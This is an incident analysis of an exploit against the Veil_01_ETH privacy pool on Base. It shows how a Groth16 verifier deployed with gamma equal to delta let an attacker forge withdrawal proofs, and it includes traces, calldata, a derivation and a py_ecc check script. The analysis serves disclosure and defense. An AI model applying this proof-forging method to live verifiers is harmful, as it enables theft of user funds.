In this analysis, we will reconstruct the mechanics of the attack on the private pool Veil_01_ETH (denomination 0.1 ETH) in the Base network.
TL;DR
- The Groth16 verifier at 0x1e65c075989189e607ddafa30fa1a0001c376cfd has delta parameters identical to gamma (delta == gamma).
- This breaks the "soundness" of the Groth16 check: with one valid proof, it can be adapted to arbitrary public inputs without knowing the witness.
- The attacker did this in a loop 29 times, substituting fictitious nullifierHash values 0xdead0000…0xdead001c, and each time outputting 0.1 ETH.
- Total damage: 2.9 ETH.
Update (Feb 23, 2026): Correction on nullifier-based reasoning
Since publishing this post, I came across additional evidence that made me revisit my reading of the repeated nullifierHash pattern.
I initially framed the exploit as relying on "iterating nullifiers" based on the traces I observed — but that interpretation turns out to be incomplete (and likely misleading).
A clearer explanation with stronger supporting evidence is available here: https://github.com/DK27ss/VeilCash-5K-PoC.
I'm leaving the original write-up below for transparency, but please treat the parts marked "Outdated" as historical notes rather than the current conclusion.
Transaction and victim contract
TX: 0x5ff6dbc33e77fab8dc086bb9ea3c88f1ba81df198d24ec9fc0c5b50fb1a4a17d
Victim (Veil_01_ETH): 0xd3560ef60dd06e27b699372c3da1b741c80b7d90
A contract was created within the transaction: 0x5f68ad46f500949fa7e94971441f279a85cb3354
And it executed a cycle of 29 calls to Veil_01_ETH. Each call had the same selector and the same calldata structure; only the nullifierHash and its corresponding proof component changed.
The sequence of 29 calls like this one:
{
"[OPCODE]": "CALL",
"from": {
"address": "0x5f68ad46f500949fa7e94971441f279a85cb3354",
"balance": "0"
},
"to": {
"address": "0xd3560ef60dd06e27b699372c3da1b741c80b7d90",
"balance": "100000000000000000"
},
"value": "0",
"[RAW_INPUT]": "0x2aa4eeec04c3a500ebabf33cb389589097d70d72e7da2641f59924d503dd32f8986e033627cc773923ecbf8039ed7a32fcdb39ff00073d5b46ef3ece16cf5e41d7ca586b0e6290586b3f9fc82df25610571699d2f2e009269579380ab5305e5fb4b48a32271c721edfd38936f2dd33a719b8021123b8bf2725082d0f3e2741f21736d6ed1856fcac1ef0f5687297f5c636dbd2474e21c949d8207435bbdef3a810c67bef2434fc734e6224e9e8c28b82de680a3334587f1b2cab1333ad46e285f939e53e171f05ee6cb88b53561cf08bc183c89fe67f27387d63eccf1b1fd8aca001de4c2b721b2b43b47d960602cb78f60a22e5b54bbca0eb7b25be6b308972a13e4c172e0f278810b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c06300000000000000000000000000000000000000000000000000000000dead001c00000000000000000000000049a7ca88094b59b15eaa28c8c6d9bfab78d5f903000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"gas": {
"gas_left": 1969887,
"gas_used": 260136,
"total_gas_used": 9030113
}
}Call selector:
- 0x2aa4eeec
Find the corresponding signature in the Veil_01_ETH contract:
cast sig "withdraw(uint256[2],uint256[2][2],uint256[2],bytes32,bytes32,address,address,uint256,uint256)"
# 0x2aa4eeec
/**
* @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs
* `input` array consists of:
* - merkle root of all deposits in the contract
* - hash of unique deposit nullifier to prevent double spends
* - the recipient of funds
* - optional fee that goes to the transaction sender (usually a relay)
*/
function withdraw(
uint256[2] calldata _pA,
uint256[2][2] calldata _pB,
uint256[2] calldata _pC,
bytes32 _root,
bytes32 _nullifierHash,
address _recipient,
address _relayer,
uint256 _fee,
uint256 _refund
) external payable nonReentrant {
require(_fee <= denomination, "Fee exceeds transfer value");
require(!nullifierHashes[_nullifierHash], "The note has been already spent");
require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one
require(
verifier.verifyProof(
_pA,
_pB,
_pC,
[
uint256(_root),
uint256(_nullifierHash),
uint256(uint160(_recipient)),
uint256(uint160(_relayer)),
_fee,
_refund
]
),
"Invalid withdraw proof"
);
nullifierHashes[_nullifierHash] = true;
_processWithdraw(_recipient, _relayer, _fee, _refund);
emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee, block.timestamp);
}So, security relies on two things:
- nullifierHashes[_nullifierHash] — replay protection
- verifier.verifyProof(…) — zkSNARK proof linked to public inputs
It was (2) that was broken.
What did public inputs look like in the attack?
For each withdraw:
- _root is the same
- _recipient is the same (recipient of funds)
- _relayer = address(0)
- _fee = 0
- _refund = 0
Only _nullifierHash changes: 0xdead0000, 0xdead0001, …, 0xdead001c
Example (first withdraw)
cast calldata-decode \
"withdraw(uint256[2],uint256[2][2],uint256[2],bytes32,bytes32,address,address,uint256,uint256)" 0x2e0f278810b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c06300000000000000000000000000000000000000000000000000000000dead000100000000000000000000000049a7ca88094b59b15eaa28c8c6d9bfab78d5f903000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000233b68e1a797db27c3a2aa71a08cfcfd2723a7dd05d4d6fe2a40c435c16260d9108b6cb7c0a93c6cdecf9ff59118e1160d79a68d2e6bf707afb693768426d60e2e0f278810b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c063111426ad173774b1115f12ebc9e228ff301ed6e160ab22c33aa9a9bf2daf002328fc28ad7c9a194e72ca5c26df4629db4205176ffc2cdbe0d6d099faaf1f0b3111a0ef5b485e496bf2d2b71b88db503ccc2de05f226f1e7e9b27166b49f7f58704e0b66f143182840d47903c1d17d3f54839a3ef3089992412338308e17530e4111426ad173774b1115f12ebc9e228ff301ed6e160ab22c33aa9a9bf2daf002328fc28ad
[7556024600558364504667475725184768181170224018446995971078343085102053982208 [7.556e75], 16045481051685912576 [1.604e19]]
[[1806025989929099520352729772853713144379776524673376845824 [1.806e57], 0], [0, 591096033 [5.91e8]]]
[75804552174677703747113485830740159774036919171983099603373371112249545682103 [7.58e76], 87143081121854481661331962765185207296325433848771387347933265264057529608072 [8.714e76]]
0x10b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c063111426ad
0x173774b1115f12ebc9e228ff301ed6e160ab22c33aa9a9bf2daf002328fc28ad
0x4205176FfC2CDbE0D6D099faaF1f0b3111a0ef5b
0xCC2dE05f226f1E7E9b27166b49F7F58704E0B66F
9133733264976010710794416644024385360084753390117489843492505197848330249901 [9.133e75]
10501177482294145958331845927391417856933760264125468082948310239027127920813 [1.05e76]Let's check now verifier(0x1e65c075989189e607ddafa30fa1a0001c376cfd).verifyProof(uint[2] calldata _pA, uint[2][2] calldata _pB, uint[2] calldata _pC, uint[6] calldata _pubSignals)
_pA[0] = 2154925384931195669696468236414102213237175831097239004580187544114565088054
_pA[1] = 18001460744277730361809118000694905394298985948301929180248317609971584489579
_pB[0][0] = 6506527127757844316976814146688351625449725845044263141394779683713824623154
_pB[0][1] = 17690460444014779949496449078998668128125816378017242793701355602753621513965
_pB[1][0] = 11009201094018045724233660315410925704657099711816317858836867291351802608623
_pB[1][1] = 16376880945094056840819396114752708108704853396028129730069854552293465777470
_pC[0] = 6049508828841729110345957294803938749595698314780913445222615015529836392392
_pC[1] = 11166818844404997194267083865294387756433858364588261319577597817061993631412
_pubSignals[0] = uint256(_root)
= 0x2e0f278810b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c063
_pubSignals[1] = uint256(_nullifierHash)
= 0x00000000000000000000000000000000000000000000000000000000dead0000
_pubSignals[2] = uint256(uint160(_recipient))
= 0x00000000000000000000000049A7CA88094B59b15EaA28C8c6d9BFAb78d5F903
_pubSignals[3] = uint256(uint160(_relayer))
= 0x0000000000000000000000000000000000000000000000000000000000000000
(то есть relayer = address(0))
_pubSignals[4] = _fee
= 0
_pubSignals[5] = _refund
= 0
??? 0x00000000000000000000000000000000000000000000000000000000dead0000 ?????Here's something strange: _nullifierHash = 0x000000000000000000000000000000000000000000000000000000000000000000000000000dead0000 And then, in each withdraw call, _nullifierHash is incremented iteratively by +1.
Comparing the two calldata for the verifyProof call, I noticed that the proof barely changes.
- _pA is the same
- _pB is the same
- _root is the same
- _recipient is the same
- _fee/_refund are the same
Only changes:
- _nullifierHash (+1 each time)
- _pC (a completely new point)
Therefore, the attacker didn't generate a new Groth16 proof from scratch, but patched an existing one.
But how could this happen?
At this point, I recommend skimming through the article on Groth 16 for a better understanding: https://alinush.github.io/groth16
Classic Groth16 check

e(A, B) = e(alpha, beta) + e(sum_{j=0}a_j*IC_j,gamma)+ e(C, delta) =
= e(alpha, beta) + e(vk_x ,gamma)+ e(C, delta)Where:
- e is a bilinear pairing on BN254
- alpha in G_1, beta, gamma, and delta in G_2 are VK constants
- vk_x in G_1 is a linear combination of IC points with public inputs
And what's important for our case: a_2 is a nullifier, IC_2 is a point associated with the nullifier
In our verifier, this is literally visible in the code: it starts with IC0, then does g1_mulAccC(ICi, pub_i) and accumulates the sum in G1.
Correction
I missed the fact that not only are _pA and _pB the same in transactions, they are also set as Set _pA=alpha and b=beta (from the public verification key).
Then
e(A, B) = e(alpha, beta) + e(sum_{j=0}a_j*IC_j,gamma)+ e(C, delta) =
= e(alpha, beta) + e(vk_x ,gamma)+ e(C, delta) = e(alhpa, beta)
=>
e(vk_x, gamma) + e(C, delta) = 0 => e(vk_x, delta) = -e(C, delta) (delta == gamma)And to pass the proof check, the hacker simply needed to find C = -vk_x.
Correction — Updated Conclusion
The critical issue was not "proof rebinding" via incremental nullifiers.
The real vulnerability was that the Groth16 verifier was deployed with gamma2 == delta2, which fundamentally breaks the soundness of the pairing check.
Because of this misconfiguration, the verifier no longer enforces a binding between the proof elements and the public inputs. An attacker can directly construct valid (A, B, C) values from the public verification key and chosen inputs — without knowledge of any witness or deposit.
In practice, this allowed the attacker to:
- choose arbitrary nullifierHash values (e.g., 0xdead0000 … 0xdead001c),
- compute the corresponding vk_x from public inputs,
- set C = -vk_x,
- call withdraw() repeatedly.
Outdated
At this part I overfit on the repeated nullifierHash increments seen in the traces and treated it as the core exploit mechanism.
In retrospect, this was not a proof of causality — just a correlation.
What happens if we increase the nullifier by 1?
Then: vk_x' = vk_x + IC_2 Because: IC_2 * (n + 1) = IC_2 * n + IC_2
Substitute this into pairing
The equation contains: e(vk_x, gamma) Now instead: e(vk_x + IC_2, gamma) Use bilinearity: e(vk_x + IC_2, gamma) = e(vk_x, gamma) + e(IC_2, gamma)
That is, the entire right-hand side of the equation is multiplied by an additional factor: e(IC_2, gamma)
How to preserve equality?
Original equality: e(A, B) = e(alpha, beta) + e(vk_x, gamma) + e(C, delta)
After changing the nullifier: e(A,B) = e(alpha, beta) + e(vk_x, gamma) + e(IC_2, gamma) + e(C, delta)
To keep the equality true, we need to compensate for it.
Therefore, we need to change C so that: e(C_new, delta) = e(C_old, delta) — e(IC_2, gamma)
Where does the error occur that makes this feasible?
In the verifier used: gamma = delta
uint256 constant gammax1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
uint256 constant gammax2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
uint256 constant gammay1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
uint256 constant gammay2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;
uint256 constant deltax1 = 11559732032986387107991004021392285783925812861821192530917403151452391805634;
uint256 constant deltax2 = 10857046999023057135944570762232829481370756359578518086990519993285655852781;
uint256 constant deltay1 = 4082367875863433681332203403145435568316851327593401208105741076214120093531;
uint256 constant deltay2 = 8495653923123431417604973247489272438418190587263600148770280649306958101930;And then: e(IC_2, gamma) = e(IC_2, delta) We use the inversion property.
We know: e(-IC_2, delta) = -e(IC_2, delta) So if we take: C_new = C_old — IC_2 Then: e(C_new, delta) = e(C_old, delta) +e(-IC_2, delta) = e(C_old, delta) — e(IC_2, delta) And this is exactly what we need.
Because: gamma = delta
the pairing becomes linearly compensated. Any change to the public input can be "undone" by linearly changing C.
Therefore, we can take one valid proof and adapt it to other public inputs without knowing the witness.
Hypothesis check (this is not a "zk-proof check", but it is a direct confirmation that the observed _pC substitution between dead0000 and dead0001 on the chain corresponds exactly to the patch formula):
from py_ecc.bn128 import add, neg, is_on_curve, FQ, field_modulus
from py_ecc.bn128.bn128_curve import b
q = field_modulus
IC2 = (
FQ(17541785693502679899851050552822855642786217045482292393397340918015034891035),
FQ(1878998464440192426911186511021639714357781475338066195960321060067544154018)
)
# First _pC
C0 = (
FQ(int("0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc8", base=16)),
FQ(int("18b0320b69acbfb220a4198a9b8f2d89ee1fee6371041e0ea10dfec10b904eb4", base=16))
)
# Second _pC
C1 = (
FQ(int("275cfe7d0a83a6b1fd6b2df8a204fe90d5105957378469090645d1cdfe5e4709", base=16)),
FQ(int("1ee704fa6fa2e30e97cc0b18308d4f45e2d8124c56d44b833c124cba7d27d7a0", base=16))
)
# Check that the points lie on the curve
assert is_on_curve(IC2, b)
assert is_on_curve(C0, b)
assert is_on_curve(C1, b)
# Compute C0 - IC2
C0_minus_IC2 = add(C0, neg(IC2))
print("Computed:", C0_minus_IC2)
print("Expected:", C1)
print("Match:", C0_minus_IC2 == C1)On-chain confirmation that the attacker calculated the new C via precompiles 0x07/0x06.

In the traces, before each withdraw, you can see the following sequence:
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x233b68e1a797db27c3a2aa71a08cfcfd2723a7dd05d4d6fe2a40c435c16260d9108b6cb7c0a93c6cdecf9ff59118e1160d79a68d2e6bf707afb693768426d60e2e0f278810b48ef13b3ac54bf0c7aec8475d9e6cadbdcfc984724c1bf958c063",
"[RAW_OUTPUT]": "0x111426ad173774b1115f12ebc9e228ff301ed6e160ab22c33aa9a9bf2daf002328fc28ad7c9a194e72ca5c26df4629db4205176ffc2cdbe0d6d099faaf1f0b31",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x11a0ef5b485e496bf2d2b71b88db503ccc2de05f226f1e7e9b27166b49f7f58704e0b66f143182840d47903c1d17d3f54839a3ef3089992412338308e17530e4111426ad173774b1115f12ebc9e228ff301ed6e160ab22c33aa9a9bf2daf002328fc28ad7c9a194e72ca5c26df4629db4205176ffc2cdbe0d6d099faaf1f0b31",
"[RAW_OUTPUT]": "0x232110e70bdb9f5759978345902e359ba56b466aa77e90a1fb19eb0ab368acc501f1abfef6ab43592dbd777fd3bcd3345302d29b2c8f0ea4b1ff099f6f223c44",
}
// (IC2x, IC2y) * nullifier
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x26c84c81e24135fe5a6bc056c8d8bd5270a0bc330d7b94041628fffded639b1b 042779b69d453e445fdc3cfc6c2b5a84d4ce41aa63875b409811c4ff0a683fa200000000000000000000000000000000000000000000000000000000dead0000",
"[RAW_OUTPUT]": "0x26b5adde7753c3b8e9de5e8f980211418ffbae6445c05676ababf2ee647647340b89e14a7311a8d7c9311a19691e8bd43b88d9968164d7b99c4e364e7a4967e8",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x232110e70bdb9f5759978345902e359ba56b466aa77e90a1fb19eb0ab368acc501f1abfef6ab43592dbd777fd3bcd3345302d29b2c8f0ea4b1ff099f6f223c4426b5adde7753c3b8e9de5e8f980211418ffbae6445c05676ababf2ee647647340b89e14a7311a8d7c9311a19691e8bd43b88d9968164d7b99c4e364e7a4967e8",
"[RAW_OUTPUT]": "0x034dddf3ab225165e25a514c1923246374b9942ddaabedbf54300bfda8131ef21650f530c0f70854f49a5b2d46ccb345f226a0a20d5164d4864e052c12762669",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x21a5f1c05de8c56db940119574011abdf74003093293c74f2151dbb8eb3774e910cd679ea281186b3b27a8f1ec32015364689071f967191374e981a69265268500000000000000000000000049a7ca88094b59b15eaa28c8c6d9bfab78d5f903",
"[RAW_OUTPUT]": "0x254f928d779b0b4050801e4a425446a10e8e017d222f8cc4f6a428b2eaffc6f31837e26d133fe7b92774f9509e4478daf3b2e6a2aa3380d2de4d543b99cb017f",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x034dddf3ab225165e25a514c1923246374b9942ddaabedbf54300bfda8131ef21650f530c0f70854f49a5b2d46ccb345f226a0a20d5164d4864e052c12762669254f928d779b0b4050801e4a425446a10e8e017d222f8cc4f6a428b2eaffc6f31837e26d133fe7b92774f9509e4478daf3b2e6a2aa3380d2de4d543b99cb017f",
"[RAW_OUTPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae93",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x184b0836c82ed675f52ef48f3b4404d3f91941487fd28c00f20ebb7010663706033db6e53f268714d6160801c344046a5160cbf089d07ad044f104ce9a657b900000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae9300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae93",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x08b1a7f19ad714ca48856e268534ac1b6157dc6e440db7a7294dc10057f4ebdc065700181cb76823c86e04fa009ff54cf4d09ad73300b6dd4ddfd235a7eb194d0000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae9300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae93",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000007",
"balance": "20000000001"
},
"[RAW_INPUT]": "0x1bfe89cf2a4a98a14ce13aed78e0c1d0842ab2ad6974abd38df2df7f16be917e128f2695e1e39b68dd880f440e3278f1bbf64cc59dce8f88862b5b51bc5bac070000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
}
{
"[OPCODE]": "STATICCALL",
"to": {
"address": "0x0000000000000000000000000000000000000006",
"balance": "1209343378549"
},
"[RAW_INPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae9300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"[RAW_OUTPUT]": "0x0d5fe69190d6b2486c5559cb6ba8c54f620716d2ed2a42f8f2d0287161172fc817b41c677784e07797ac2c2be5f22ad3a9617c2df76dac7e9b128d55ccecae93",
}This is a direct indicator that the attacker was calculating linear combinations of IC points from public inputs on the fly, i.e., was able to collect/update vk_x and/or build the required patch for C.
Conclusion:
The Groth16 verifier, where gamma = delta, allows for trivial "rebinding" of a valid proof for new public inputs by linearly changing the C component. In the attack, this allowed:
- generating the sequence nullifierHash = 0xdead0000 … 0xdead001c
- constructing a new _pC for each nullifierHash
- calling withdraw() 29 times and withdrawing 2.9 ETH without making any deposits.